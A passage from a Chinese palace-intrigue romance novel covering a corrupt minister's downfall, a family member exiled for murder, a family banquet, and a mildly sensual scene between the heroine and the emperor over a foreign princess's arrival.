这可是谋逆大罪! 若非楚元河顾忌她这位皇祖母,王家早就灭族了。 而王次辅揣着什么心思她一清二楚,无非是看皇帝年轻,想倚老卖老,觉得自己背后勾结岐王,操控浙江官场牟利,就能拿捏天子,一人之下万人之上。 做什么春秋大梦呢? 如今岐王倒了,他竟不知收敛,还妄图利用女儿继续攀附皇室,太皇太后气得直骂他是嫌自己死得不够快吗? 她一把年纪的人,心里清楚,只要楚元河还是皇帝,她就是太皇太后,谁也动摇不了她的地位,她只想安度晚年,若她拎不清再向着王家…… 想到楚元河当初那警告的眼神,太皇太后不由打了个寒颤。 是时候与王家撇清关系了。 她闭了闭眼,让人将王次辅拖出去,从今往后不必再来永寿宫了,包括王盈雪。 之前太皇太后还想着,王盈雪若嫁不了皇帝,她也能为这姑娘保一桩门当户对的好姻缘,现如今她可不敢插手管。 王次辅咬牙切齿,愤恨不已,控诉太皇太后对不住王家列祖列宗。 刚嚷嚷没两句,宫人神色惊骇的进来递消息,经锦衣卫详查,钱塘县丞周珣递交内阁的那封奏疏,所言句句属实。 不仅如此,陛下还将周珣提到刑部,任其为刑部侍郎,专司刑狱,而此人看似文弱却铁面无私,联合三司主官共查此案,已有大批官员相继下狱,很快就要查到王家了。 王次辅闻言一屁股跌坐在地。 完了,什么都完了。 太皇太后瞧他可怜,给了他最后一条退路,趁案子尚未落定,自请致仕吧。 年轻帝王的目的不在杀人,而在集权,只要王次辅肯放手,兴许还会看在她的情面上,对王家网开一面,不至于赶尽杀绝。 王次辅浑浑噩噩离开皇宫,依照太皇太后所言去见了陛下,再后来他在致仕回乡的途中,马车受惊冲下悬崖,他坠入崖底不幸身亡,当然这都是后话了。 与此同时,东华门外,赵怀义也与赵怀良不欢而散,下朝后他们便争执起来,而从前看似木讷老实的弟弟面对他的诘问,竟对他冷嘲热讽,说从小到大,弟弟都只是哥哥的陪衬,若非他私下巴结王家,他还走不到今天的位置。 赵怀良口口声声说,最厌恶哥哥这副自视清高的样子,什么为官清廉,不取百姓一丝一毫,那是因为娶了个皇商出身的孟氏! 反观赵怀良他自己,仕途平平,妻子性子泼辣又无甚助力,哥哥身居高位却不肯提携他,不投靠王家,他还能有什么出路? 赵怀义从未想过这么多年,对方心里居然存了如此多的怨气,这也让他明白,兄弟二人永无和解的可能。 有些人,从一开始就坏了根基,留在身边,祸患无穷。 而赵怀良被贬官即将流放的消息,先一步送到赵家,还是赵清仪亲自送达的。 老夫人得知事情的前因后果,痛心疾首,兄弟阋墙,是她最不愿看到的结果。 赵怀义赶回家后,见到老母亲的神色便知没什么可解释的了,即刻安排好所有分家事宜。 老夫人摆摆手阻止他,分不分都不重要了,赵怀良都要流放了,往后这个家只剩长房一支。 许久不曾来往的李衡闻风而来,彼时赵家人正闹得不可开交,同时也为避嫌,不想见他。 但门房禀报,李衡身边还跟着方茹,老夫人这才破例见他一面。 方茹一进门,就在赵怀良吃人的目光中跪地,将当初亲眼见到赵怀良掐死方姨娘的事一五一十供述出来,这其中还包括二人的对话,谈及大房回京途中遭遇劫匪一事。 赵家人并不在意方姨娘如何,但亲耳听到赵怀良暗中鼓动方姨娘截杀大房一家时,老夫人彻底承受不住,跌坐在椅子上。 孟氏与赵清仪则淡定许多,她们早有猜测,只是没有实证。 冯氏是继老夫人之后最震惊的那个,她简直不敢相信,老二平日一副老实巴交的老好人姿态,没想到他才是赵家最坏的那个,方姨娘的恶毒在他面前都不算什么了。 冯氏害怕极了,跪下来恳求老夫人不要迁怒她和温仪,从头至尾,都是赵怀良与方姨娘在暗中谋算,她和女儿赵温仪什么都不知道。 话音落,躲在屏风后的赵江俨冲出来,对着赵怀良又打又踢,“你是坏人,是你杀了我姨娘!是你杀了我姨娘!” 失去姨娘的日子里,他小心翼翼跟在主母身边,每天胆战心惊,如履薄冰,没想到害他的罪魁祸首居然是他最敬仰的父亲! 父亲杀了他的姨娘! 赵怀良心烦不已,暴怒之下一把恰住赵江俨的脖子,目眦欲裂道,“小兔崽子,我是你爹!” 他突然发作,将在场众人吓得惊叫出声,想上前阻止,又怕成为被殃及的池鱼。 “逆子!逆子!” 老夫人心脏跳得生疼,捂着心口大喘气。 冯氏与孟氏赶紧给她递水顺气。 赵江俨单薄的身子悬在半空,小脸涨得青紫,眼看就要没气了,赵怀良才狠狠甩开他。 老夫人缓过气后,终于下定决心,不必分家了,从此以后,赵家再无赵怀良此人,她要与这个儿子,恩断义绝。 冯氏再次大哭,她才不在乎丈夫如何,她在乎的是,丈夫被逐出赵家,又要流放,她和女儿怎么办? 老夫人垂眸,看着儿媳的目光充满怜惜,颤着手摸了摸冯氏的头,“你当然还是我赵家的儿媳,往后,你就跟在我这老婆子身边吧。” 儿媳是她选的,她不会弃之不顾。 冯氏的一颗心总算放回了肚子里,孟氏过去扶她,还给她递了帕子,这段是日,她们妯娌关系缓和,相处还算融洽。 冯氏感动不已,立在一旁小声啜泣,哭着哭着,又想到赵江俨那个孩子。 他是赵怀良的亲儿子,也是二房唯一的男丁,还不知老夫人会如何处置。 老夫人缓过来后,又甩了冯氏一记白眼,恨铁不成钢的样子,“儿子我都不要了,还要什么孙子?” 上梁不正下梁歪,从赵江俨的种种表现来看,这孩子已经废了,且十多岁的年纪,性子成型很难掰正,看着是没什么出息的,若继续富贵加身,说不准将来会做什么祸害百姓的事,倒不如随了他的父亲,去西北,平平静静过完这一生。 说罢,又宽慰了冯氏好半晌,叫她不必担惊受怕,不会牵连她的。 赵清仪稍加思忖,也跟冯氏保证,有她在,不会让二婶二妹一起流放。 许久不曾听到她的声音,李衡有一瞬恍惚,察觉到对方淡淡扫来的目光时,他下意识垂眸,恭恭敬敬施了一礼。 他过去的长嫂,如今,要做皇后了。 也离他越来越远了,是他永远不能触及的存在。 那一刻,李衡胸口酸胀难受,却又莫名释怀了,他单膝跪地,向老夫人求娶方茹,方茹逃出赵家后便躲在他身边,于名声有损,他是时候为方茹负责。 况且,这也是圣旨。 好在这段时日的相处,他已经不排斥方茹了,或许对方很多地方不如赵清仪,但不能否认,方茹是个好姑娘,对他一片真心,如今离了赵家二房,二人之间反倒少了许多猜忌隔阂。 至于赵清仪…… 陛下册封其为皇后的圣旨下来时,李衡颇感意外,后来又了然,难怪当初自己登门提亲不久,宫里就来传旨,将方茹许给他。 早在那时候,陛下就已经和她…… 李衡自嘲一笑,彻底放手了,冲赵清仪行礼,提前恭贺她大喜将至。 赵清仪回以一笑,就此冰释前嫌。 原则上,方茹和赵家没关系,不过念在对方养在府中多年,老夫人还是欣然应允了李衡的提亲,还给方茹添了一份嫁妆。 方茹没料到此行会有如此收获,不仅得了婚事,还得了老夫人的关照,忙含泪拜谢。 朝廷的速度也很快,当晚赵怀良父子就戴上镣铐枷锁押往西北。 踏出城门的那一刻,赵怀良回眸注视着这座象征权力的繁华京城,漆黑的眼底只剩苍凉。 他还以为,会有人来送他最后一程,如今看来是他的奢望了。 赵江俨见他这副样子,脸上的愤恨散去,缓缓勾起嘴角,“父亲在看什么?莫非……是盼着祖母,或是母亲送你一程?” 若方姨娘在,定会发觉儿子的神态,甚至是浑身散发的气质与赵怀良格外相似。 赵怀良抿唇,没有搭理儿子。 赵江俨哈哈大笑,“父亲还是别看了,从今往后,只有我们父子相依为命了呢。” 他如今是小,身体小,力气小,可赵怀良总有老去的一日,到那时,赵怀良就掐不了他的脖子了。 赵江俨沉下眸子,打定主意,去了西北后要好好活着,他要为姨娘……报仇雪恨! 这个狠毒的男人,活该众叛亲离! 第89章 第89章这穿了和没穿有何区别?…… 时值七月末,未到团圆日,赵家却久违地设了家宴,除大房和冯氏以外,来得还有永宁侯府的人。 赵怀淑牵着萧文吟先进府,见到她们,老夫人刚哭过的脸重新扬起笑容,这些年她虽与儿子们住在一起,但也时常盼着女儿来看她,论细致贴心,儿子始终不及女儿。 就连外孙女也笑嘻嘻的,亲热地挽住她的胳膊,“外祖母,文吟好想你呀。” “外祖母也想你。”老夫人被她轻快活泼的语气逗得开怀,慈爱地摸摸她毛茸茸的小脑袋,“一段时日不见,文吟瞧着长高不少,再多两年就要出落成大姑娘了。” 赵怀淑母女是特意来陪老夫人的,母女俩一左一右搀扶老夫人上座。 老夫人刚坐下就问,“对了,怎么不见寒玉与温仪?” 冯氏也抻长脖子朝门口看去,格外想念出嫁的女儿。 稍顷,两道昳丽的身影在众人期盼的目光下出现了,竟是萧寒玉亲自扶着赵温仪过来,冷峻的面容挂上几分紧张,很是罕见。 “这……”赵老夫人当下挑眉,看了眼赵怀淑。 赵怀淑抿唇忍笑,示意她看向赵温仪的肚子。 老夫人恍然,“温仪这是……有喜了?”得到肯定的答复,又忙追问什么时候的事。 “上月诊出的喜脉,不过日子还浅,本想等胎象稳固了再回赵家报喜的。” 赵家气氛顿时热络起来,冯氏三步并作两步上前,好几回张开嘴欲言又止,最后竟是落下泪来。 她与丈夫离心多年,分家后冯氏虽与孟氏亲近许多,心里惦记的还是出嫁的赵温仪,可惜温仪才嫁人不久,不好时常回来探望,她也怕侯府去得频繁了会给对方带去不便,便生生忍着,没想到一段时日不见,温仪居然有孕了。 再看萧寒玉扶着妻子,紧张兮兮的模样,冯氏破涕为笑。 这会儿是彻底安心了,因为她家温仪嫁了个好夫婿。 一家人围了上去,七嘴八舌关心赵温仪的肚子,时不时传出阵阵打趣的笑声。 赵清仪暗自惊叹,满打满算,这二人成婚还不到三个月,这么快就传出喜讯了。 她又想到张婉琰,回来这几日总是不得空闲,还没去乔家坐坐,不知婉琰的肚子里是不是也揣上孩子了? 此前赵清仪很忌讳怀孕,但看堂妹与萧寒玉站在一处,二人脸上皆洋溢着甜蜜的笑,又莫名失落。 打从楚元河知道她服用避子汤后,二人行房都很小心,生怕一个不慎…… 如今,赵清仪居然隐隐羡慕起二堂妹了,两辈子,她都没能拥有一个属于自己的孩子。 她下意识摸摸平坦的小腹,难以想象自己怀上楚元河的孩子会是何等模样。 她的动作很是隐秘,并未引起旁人注意。 赵怀义与孟氏也没注意,彼此面上只有和煦欣慰的笑,赵家,已经很多年不曾有过这般和睦的气氛了。 孟氏当即让华锦姑姑去库房取来一对玉如意,给赵温仪添些喜气。 就连与赵温仪不算亲近的赵澜俨也凑了过去,只是他不好意思问二姐姐,便拽了拽萧寒玉,好奇地问,“二姐夫,有喜是什么意思?” 萧寒玉被他问懵了,红着脸挠挠后脑勺,这……要怎么说? 有喜了就是有喜了呀,还能是什么意思? 几个长辈则是被逗得咯咯笑,萧文吟蹦蹦跳跳窜出来,冲赵澜俨吐吐舌头,“大表哥你好笨,有喜的意思就是你很快要有小外甥了,而我也有小外甥……啊不对,是小侄子?” 萧文吟掰着小手指,看了眼表姐赵温仪,又看了眼哥哥萧寒玉,一时间分不清他们的生孩子到底是自己的外甥还是侄子,又引来一阵善意的欢笑。 但赵澜俨听明白了,原来是这个意思。 他也立在一旁掰手指,“我有骄儿那个大外甥了,那二姐姐肚子里这个就是我的二外甥,那三外甥……” 数着数着,赵澜俨忽然屁颠屁颠跑到赵清仪跟前,一双眼眸亮晶晶的,“姐,要不你快给弟弟我生个三外甥?外甥女也行的。” 赵清仪正用着晚膳,闻言险些呛到。 方才围着赵温仪嘘寒问暖的一帮人正好落座,听到这句话,顿时又来了精神,朝赵清仪投去揶揄的目光。 还是冯氏打圆场,“嗨呀,你这孩子……你姐姐还没出嫁呢。” 立后的圣旨须经内阁,再广而告之,中间需得几日功夫,之后再有钦天监卜算良辰吉日,女方也得筹备嫁妆…… 如此诸多繁琐的流程下来,二人成婚最快也得半年后,这期间为女方清誉着想,实在不宜闹出孩子。 虽然家里人对她们的关系早就有数,但明面上,该装的傻得装,就赵澜俨还是个长不大的孩子,说话心直口快的。 萧寒玉在妻子的眼神示意下,赶紧把这位大舅哥拉到别处去探讨武考的事,赵澜俨今年通过了武考,再过三年,等他十六便能参加武举。 武道方面,二人颇有共鸣,很快在家宴角落里聊得热火朝天。 在座长辈们暗暗松了口气。 赵清仪轻咳一声,另起了话头,“方才能说起骄儿,我想起来,玉袖应该生了吧?” 孟氏很快接过话茬,说玉袖前段时日便生了,是个女儿,赵家看在李骄的面子上特意派人去照顾,满月时也送了贺礼。 赵清仪听罢点点头,如此也好,有一儿一女傍身,玉袖也算圆满。 一家人其乐融融,倒没有秉持什么食不言寝不语的规矩,只图舒心,一家人说了许多体己话,老夫人偶尔问起父女俩在浙江发生的事。 本以为这场家宴到处为止,末了老夫人像是想起什*么,“我怎么听说今日西域使臣即将入京,还来了一位公主?” 事关朝政,赵怀义的消息最是敏锐,立即承认确有此事,来的是西域一个名唤月翎的小国,当初楚元河征战西北时,月翎国曾出手相帮,此番派使臣入京是向大梁借兵的,意在一统西域。 这也是楚元河近日忙碌的缘由之一,除了料理王家以及浙江官场外,还得谨慎对待与月翎国的谈判,毕竟西域一统对大梁来说有利有弊,须得权衡。 若西域集中兵力攻打大梁,边境又起战事,劳民伤财,但若月翎国自愿成为大梁的附属,则能互通商贸,又于民生有利,但这其中有何条件,还得详谈。 老夫人直觉不妙,“若谈正事,他们怎会派一位公主前来?我还听说,那公主年芳十六,云英未嫁,又生得貌美……” 赵怀义神色尴尬了一瞬,下意识去看赵清仪的脸色。 赵清仪后知后觉回过味来,“……什么公主?” “锦衣卫提前查过,那公主是来和亲的。”赵怀义说这话时有些心虚,“不过,大梁未娶妻的皇孙贵胄多得是,再不济还有不少出身高门的世家公子,如何也轮不到陛下。” 看着父亲闪躲的眼神,赵清仪明白了,淡淡“哦”了声,继续低头吃菜。 席上静了一瞬,孟氏用胳膊肘撞了他一下,埋怨自家丈夫哪壶不开提哪壶。 老夫人忧心之处便在这里。 平常她关心朝政,却不会在意各家嫁娶联姻之事,但一听说西域送来一位和亲公主,她就觉得有必要提前知会孙女一声。 “清仪,你如今是陛下钦定的皇后,此事,你得留心。” 当初楚元河承诺的永不纳妾,只有赵清仪知晓,这些话她从未告知家人,老夫人的提醒意在让她权衡利弊。 毕竟她是要做皇后的人,与陛下之间不再是单纯的情爱,这当中必然会掺杂朝政与多方势力的纠葛,今日来一个西域公主,明日或许还会是哪家的高门贵女…… 若赵清仪想不开,不仅徒增烦恼,兴许还会影响朝局,家国大义与儿女情长,老夫人希望她选前者,若西域公主要嫁天子,来日真进了宫,赵清仪一面要提防,一面也得顾全两方的颜面,不可苛待对方。 赵清仪明白老夫人的意思,笑了笑没说话,只是送到嘴里的饭菜忽然就没了滋味。 是啊,楚元河是皇帝,又岂能真的永不纳妾? 单一个赵家为朝廷效力远远不够。 世家贵女楚元河可以拒绝,但邻国公主呢?若处理不妥,势必影响两国邦交。 倒不是大梁忌惮一个弹丸小国,只是能以纳妃的手段解决问题,又何必大兴兵事? 所以当初那些承诺,赵清仪不敢太当真,她知道这一日早晚会来,只是没想到会这么快,她还没与楚元河成婚,和亲公主就要来了。 还生得十分貌美…… 赵清仪陷入沉思。 赵怀淑察觉气氛凝滞,给老夫人夹了一块剔好骨刺的鱼肉,又往赵清仪的碗碟里送了一块,“这和亲公主要嫁谁还不一定呢,少杞人忧天胡思乱想,快些吃饭。” 众人讪笑着再次岔开话题。 老夫人点到为止,不再多言,与外孙女萧文吟说笑起来。 赵清仪没了胃口,随意吃罢,同兄弟姐妹们打了几圈叶子牌后,便起身告辞。 她如今习惯在外头宅子住着,一一拜别后,就与萧寒玉赵温仪一同离去,只留下赵怀淑母女在赵家陪老夫人小住。 回宅子的路上,赵清仪闷闷不乐,两个婢子随行左右,往日最是多话的俏月也想不出宽慰的话来。 席间她们谈论起和亲公主,两个婢子都听到了,估摸着县主是心里难受。 回到宅子,俏月便道,“县主,婢子瞧你晚膳没用几口,可要婢子给你再做些吃食?” 赵清仪拒绝了,卸下钗环沐浴,直到坐在妆奁前,她端详着镜中的容颜,神思还有些恍惚。 脑子里只回荡着一句话,那和亲公主生得貌美,又是二八年华。 她如今还算风华盛茂,只是论起年岁,不如那和亲公主了,再过几年…… 赵清仪不自觉抚上自己的脸,楚元河对她的爱,其实多少有皮相的关系,没有谁不爱美人,兴许是她的脸,她的身子,恰好符合对方的喜好,基于此,才渐渐对她生出兴趣,才会有后来的纠葛…… 赵清仪没有埋怨楚元河见色起意,毕竟当初她对他也是一样的。 若没有那副皮囊,她不一定会多看他一眼。 但也正因如此,她不敢确定,楚元河见了那月翎国的公主会无动于衷。 正好两个婢子在屏风后收拾浴桶,俏月的声量没压住,“……听说西域人个个生得高鼻深目,瞳色也与大梁人不同。” “我还听说,西域女子天生婀娜,豆蔻年纪的少女就……” 俏月比了比自己的曲线,神态夸张道,“那身量,那弧度,堪比咱们十六七岁的姑娘了……” 俏月发誓,她绝没有给县主添堵的意思,只是最近迷上了看话本,写话本,对各色各样的男男女女充满好奇,这才同檀月多说几句。 檀月起初还会回应,绕过屏风时察觉到赵清仪望着铜镜出神,飞快给俏月使眼色,让她别再说了。 俏月大惊失色,赶紧捂嘴低头。 “……” 赵清仪透过铜镜,将婢子的一举一动看在眼中,深深叹了口气。 她是越发贪心,也越发患得患失了。 居然还会在意自己的容色。 她是不是太把楚元河当回事了? 赵清仪一遍遍在心里告诫自己,还和从前一样,拿楚元河当外室看待即可,不用太在意,只要对方伺候好自己,管他将来会喜欢什么样的女子。 若对方移情别恋,她忍受不了,有那封圣旨,她还可以离开。 想通过后,赵清仪顿觉轻松不少,而这一夜楚元河没来,她猜测应当是为了月翎使臣入京一事。 翌日一早,赵清仪照例外出巡视铺子。 昨夜她宽慰自己不必在意,结果出门就去醉仙楼买了糕食,让人送去宫里。 楚元河给她留了不少乔装过的禁军,其中一人拎着食盒直奔皇宫,走远了她才反应过来,自己到底做了什么。 忍不住小声问婢子,“我……是不是太在意他了?” 突然给他送东西,以对方的性子,指定会认为是她想念他,那他岂不是要得意到天上去? 婢子头快摇成拨浪鼓了,“县主这是人之常情,有来有往嘛。” 陛下这几日没空出宫,不也一天几回派人给县主送东西,不是御膳就是各种新奇的宝物,县主这么久了才送一次吃食。 赵清仪的心稍稍安定,要矜持,不能上赶着。 楚元河在她身边安插了这么多人,他们肯定有人回去禀报过,说她已经知道了和亲公主的事,这时候她突然主动示好,万一楚元河觉得她在争风吃醋…… 那她太没面子了。 上回因为一个舞姬她都闹了不少笑话,楚元河没少打趣她,说她醋劲大。 虽然那语气是笑着的,可谁知道醋吃多了,他会不会厌烦? 婢子们瞧她脸色时时变化,都琢磨不透她在想什么。 直到路过一家成衣铺,孟嘉文正好在巡视铺子,远远见到她们主仆三人,忙不迭招手呼喊,“表妹!” 赵清仪才从思绪间抽离,冲表哥施了一礼。 早在钱塘时,孟嘉文就憋了一肚子话想问,可惜为撮合表妹的姻缘,回京途中没能与她说上话,如今好不容易逮住机会,他当然不会放过,只是刚走过去,他就敏锐的察觉出表妹的异常。 孟嘉文下意识看向婢子,檀月不敢说,俏月挤挤眼睛,做了个口型,提到了“和亲公主”四个字。 她们一家人不说两家话,消息也是互通有无,关于和亲公主的事,孟嘉文前不久也得了消息。 这让孟嘉文更好奇表妹与陛下的关系,索性让婢子把赵清仪带进铺子的茶室里。 给赵清仪上茶的空隙,孟嘉文示意俏月出来,两个婢子中,就属俏月嘴皮子快,三两句讲明了自家县主的忧虑。 孟嘉文恍然大悟,又想起当日在钱塘,姑父尽心尽力撮合表妹与陛下的情形,他觉得自己有必要帮表妹一把,保管让表妹拿住陛下。 只要这二人如胶似漆,哪怕再来十个八个的和亲公主,也断没有插足的机会。 再回到茶室,孟嘉文亲自给表妹上茶,先问了她的近况,得知她安好,孟嘉文一颗心安了大半,觉得可以步入正题了。 他招招手,成衣铺的掌柜娘子含笑而来,手里还捧着一只精美的檀木锦盒,越过孟嘉文径直送到赵清仪手里,叮嘱她回房后再打开来看。 事情办妥,孟嘉文不多留,临走时从表妹身侧经过,还递给她一个充满鼓舞的眼神。 在赵清仪诧异看向他时,又清了清嗓子道,“那个,表哥只有一颗帮你的心,至于这主意……是她出的。” 孟嘉文毫不留情地推出掌柜娘子。 掌柜娘子是过来人,又颇为知情识趣,便笑眯眯地说那锦盒里的好东西是从番邦传来的,是她铺子里压箱的宝贝,一般人她还不肯拿出来呢。 赵清仪一脸茫然,不明白这掌柜娘子葫芦里卖的什么药。 等铺子巡视完了,带上厚厚的账册回府,她一门心思盘账,倒将那只锦盒忘在脑后,直至就寝前才想起来。 打开锦盒后,赵清仪愣了愣,两截嫩葱般的细指捻起锦盒中的几根……细布条? 不是,这什么东西? 怎么还缀着一堆珍珠宝石,乱七八糟的? 若是送她珠宝,也不必用布条串着吧,底下怎么还压着一件纱衣? 赵清仪将纱衣抖开,杏眸微微睁大,写满了不可思议。 ……这么透? 她对着烛火,将掌心放在纱衣之后,朦朦胧胧的,却也能依稀分辨出她的掌纹。 这……穿了和没穿有区别? 赵清仪完全摸不着头脑,不明白这些东西做什么用的,很快她又从锦盒底下发现了一本薄薄的画册,展开后,旖旎绮丽的美人图强势闯入她的眼帘。 赵清仪顷刻明悟。 画册上姿态曼妙的女子,身上穿的……就是这些乱七八糟的东西。 顿时一股热气涌上头顶,赵清仪“啪”的合上画册,呆坐原地,雪白的小脸憋得通红。 第90章 第90章“般般,这……能撕吗?…… 赵清仪通身的燥热,想唤婢子多添些冰来去去暑气。 婢子先一步推门进来,“县主,宫里来人了。” 赵清仪飞快合上锦盒,将那些东西藏得严严实实,努力作出镇定的模样。 俏月嬉笑道,“陛下近日朝政繁忙,想见您一面却走不开,遂遣人来问县主的意思,看您是否愿意进宫一趟?” 赵清仪就知道,今日的吃食不该送的,楚元河定然是觉得她想他了。 但…… 好像也确实有那么一点点的想。 之前在浙江,她们几乎日日黏在一起同塌而眠,忽然分开了,还真有些不习惯。 赵清仪终究是屈服于自己的心,让婢子去外头侯着,她稍后便来。 一刻钟后,她披着银红色锦缎披风上了轿辇,轿辇一路畅通,直接送到紫宸殿。 进殿时,楚元河一身常服,还在批奏折,听到脚步声,含笑的桃花眼抬起,扫过她身上的披风时,目光略有停顿,“外面很冷?” 赵清仪红着脸,摇了摇头。 楚元河搁下朱批,冲她招手,“到这儿来坐,我很快就忙完了,一会儿陪我用膳?” 他听说了,这两日赵清仪胃口都不太好,吃得少,也不知是府上的不好吃,还是宫里的御膳她吃不惯,又或是……害相思了。 他想她时也会食不下咽。 见赵清仪呆呆不动,楚元河干脆走过去,牵起的她的小手,竟发觉那小手格外火热,他神色一瞬紧张,“生病了?” 宽大的手背覆在赵清仪额上,她才回过神,忙又摇头,“没……” “那你身上怎么这么热?”楚元河将朝事暂且搁置,牵着她坐下,便要去解她的披风,一会儿再唤太医过来诊脉。 赵清仪眼疾手快按住他,脸更热了,“我真没事,你……你先忙……” 到底是头一回做这种事,她还是太紧张了,做不到从容游刃有余,她得缓缓。 楚元河从她的肢体间察觉到了抗拒,没再继续,试探着问,“是因为和亲公主,你不高兴了?” 赵清仪垂眸,没答话,确实有一点影响心情。 但这话她不能表达出来。 楚元河轻抚着她的脸颊,低低笑了,“别胡思乱想,我许你的承诺,一直作数。”又问她想吃什么,他让御膳房做。 等赵清仪那股别扭劲儿缓过来后,宫人们已经布好菜退了出去,两人又和往常一般,他为她夹菜,知晓她爱吃鱼,夹给她的鱼肉也总是细心剔好骨刺的。 赵清仪白日也忙了一天,没怎么吃东西,这会儿同他在一起放松许多,不自觉多用了几口,待吃饱喝足,又净了手,她便在旁直勾勾盯着楚元河。 他吃得速度不慢,但一举一动都很斯文,透着天潢贵胄的矜贵有度。 赵清仪瞧得有些出神,忖了忖,没忍住说出了心里话,“我听闻那和亲公主生得貌美,兴许是你喜欢的样子……” 她小心打量对方听这话时的脸色,很可惜,楚元河一如既往的平静,看不出他是期待还是厌恶。 “若那和亲公主要嫁你,我……我也不是不讲道理的人……” 话音未落,楚元河执着玉箸的手明显僵住,他缓缓抬起头来,眼波深沉,“般般此话何意?” 赵清仪被他瞧得微微发怵,一时不知该怎么说下去。 那些话在来的路上,就在她脑中翻来覆去过了好几遍,结果到了楚元河跟前,才起个头就说不下去了。 怕楚元河误会,赵清仪连忙解释,“我没有别的意思……” “那般般到底是什么意思?”楚元河放下碗筷,神情专注地盯着她,等着她接下来的话。 赵清仪彻底哽住。 那眼神太过锐利,仿佛只一眼便洞穿了她所有隐秘的心思。 虽然她做好了准备,接受楚元河将来会有的三宫六院,可她说不出来,她没法主动开口支持他接受和亲公主。 楚元河直接挑破,“你想让我娶了和亲公主?” 赵清仪低下头,不敢直视他的眼睛。 楚元河还有什么看不懂的,不由嗤笑出声。 赵清仪以为他生气了,声音闷闷道,“你先用膳吧。”起身便要逃开。 楚元河只一抬手,便攥住她的细腕。 赵清仪脚步没来得及收住,被他往后一扯整个人跌进他怀里。 楚元河的视线她手腕掠过,披风敞开了一角,露出一截素色纱裙,只是那薄纱近乎透明,其下如玉的雪肤若隐若现。 原来这才是她穿着披风的原因? 楚元河刚生的一丝不虞褪去不少,他勾了勾薄唇,“我竟不知,般般还有如此大方宽容的一面。” 他话里有话,听得赵清仪面红耳赤。 在她扭腰挣扎之际,楚元河抱住她,语气里少了戏谑,透着罕见的认真,“般般,你不需要成为任何人期待的样子,你只需要做你自己,也不必昧着自己的心做决定。” 即便有人规定妻子应该是什么样的,或是规定皇后该是什么样的,那都是别人的规矩,不是他的。 他楚元河想要的,是一个鲜活真实的她。 赵清仪所有的挣扎在这一瞬停滞。 他果然还是察觉到了。 她打破原则的退让,强装的宽容大度,以及……她费尽心思的讨好。 楚元河一手托住她的后腰,一手环抱住她修长的双腿,微微俯身吻去她唇角的香甜,“……当然,像般般喜欢穿什么衣裳这种事,我不会干涉。” “只是……” 指尖顺着她的皓腕游移,慢慢落在披风的系带上,“般般今日到底穿了什么,我能看看吗?” 原本肃穆紧张的气氛骤然溃散,随着掌心探入,赵清仪努力维持的平静面具也开始寸寸破碎。 “不行,我还没做好准备……” 她拽紧披风,雪白的脸颊鲜红欲滴。 楚元河的动作停下了,他抽回手,臂弯一掂将她扶起来,眼中饶有趣味,“那就再等等。” 见他没有不高兴,赵清仪悄悄松了口气,从他怀里逃出来后便躲得远远的,纤长的眼睫闪了闪,“你、你先用膳,然后看完折子再说……” 既然来了,她就没想过无功而返,但不是此刻。 “原来先前催我快些用膳是这个意思。”楚元河眸色沉了沉,嗓音里难掩愉悦,“放心,吃得差不多了,折腾你的力气是够的……” 他故意将话说得暧昧,如愿见她羞到瑟缩起来,将脸埋在膝盖里,整个人团成一只小球。 宫人进来扯了饭菜,楚元河回到御案前,兴许是想到接下来的事,很快批阅完余下的折子,不过时辰尚早,他今夜想将她留下。 还是晚一些,晚一些,她便不好走了。 赵清仪一直在等,起先还会在内殿里看看书,随便转悠,但楚元河的寝殿实在冷清,最有意思的只有那个人,可惜…… 她不自觉看向珠帘外,眉眼冷肃的男人。 原来,他正经起来是这样的。 在此之前,赵清仪始终没多少真实的感觉,因为他在她面前没有架子,除了上回冷战时,为了留住他,床笫间偶尔会泄露几分强势之外,大多时候他待她是温柔的,顺从的,甚至是讨好的。 眼下见那个男人高坐龙椅之上,宵旰忧勤,夙夜匪懈的样子,她终于对楚元河这位帝王有了实感。 看得久了,赵清仪眼里的审视探究便不加掩饰。 楚元河五感敏锐,早就发现了她,绷着脸批完最后一份奏折,才故作不经意地撩起眼皮,“我脸上有东西?” 偷.窥被逮住,赵清仪不自然地移开视线。 怎么回事,感觉又热了。 她挥手给自己扑凉,才发觉四周摆放的冰早就化了,难怪她又热起来。 赵清仪很想解下披风凉快凉快,只是不确定楚元河忙完了没有,万一耽误对方正事…… 早知道不穿那些东西了,如今骑虎难下。 楚元河隐忍着笑,双指并拢叩了叩御案,漫不经心道,“若在里头待得闷了就过来。” 喊人便算了,为什么要敲御案,好似在提醒她什么…… 莫名其妙的,赵清仪的脸又红了。 她愣在原地不动,楚元河以为是自己的暗示不到位,干脆大手一挥,堆叠成山的奏疏被他拂到最边缘,腾出了大片位置。 这次他直接明示,“过来,坐这。” 他眸光灼灼,仿佛织就了一张密密麻麻的大网笼罩住她,让她无处遁形,赵清仪硬着头皮挪了过去,到他身边时,就被他掐住腰抱到了御案上。 挤入她双膝间,上半身与她紧紧相贴。 楚元河抱着她,闭上眼,仔细感受怀里的柔软,有她在,那颗疲惫的心恢复了急速的跳动,强劲又炽热。 没有多余的话,他埋首咬开披风的系带,锦缎的料子本就柔滑,失了牵绊,轻而易举从她肩头滑落,披风掉落,露出其下隐隐绰绰的玲珑曲线。 赵清仪低呼一声,紧接着似有凉风拂过,让她打了个寒颤,她极力克制逃走的冲动,扶着男人肩头的细指微微蜷起。 她的心也跳得飞快,还是不习惯在这里,尤其穿成这样,坐在他的御案上,太过放浪形骸,尤其这次,还是她主动送上来的。 赵清仪轻咬红唇,神色无助,“楚元河……” 殿内烛影摇晃,她羞得快哭了,张口却是不可控制的三个字,“……好看吗?” 在看清的一刹那,楚元河眸色骤然暗沉,薄唇微张,吐着浅淡的龙息,却是一言不发。 赵清仪不确定他会不会喜欢这样的自己,做这一切,固然有取悦他的原因,但也有她不可言说的隐秘。 她期待他的反应,想让他的目光长久地为她一人停留,更想看他为她疯狂失控…… 于是她又小声问了一遍,“我……好看吗?” 回应她的是如同火舌般灼热的视线,仿佛不知疲倦,一寸寸欣赏着她,前所未有的耐心。 看来他对般般的了解还不够深入,对方还藏着许多……他不曾了解的惊喜。 赵清仪完全猜不到眼前的男人在想什么,既不说话,也不动作,就只是盯着她,在她快要承受不住他的注视时,男人轻搂着她,吻上她的唇。 良久,才与她分开,殿内回荡着沉重的呼吸声。 楚元河的语气既欣慰又兴奋,“很好看,比般般想象中的还要美,不过……” 他话音一顿,抚摸她脸颊的长指轻轻挑起她的下颌,“我希望这是真实的你。” 他想给她的是自由而非枷锁,他想娶她也只是因为,他想在漫长的余生里,睁眼是她,闭眼也是她,却不想将她套进“皇后”的躯壳里,让她一板一眼,重复着世人眼里的规矩。 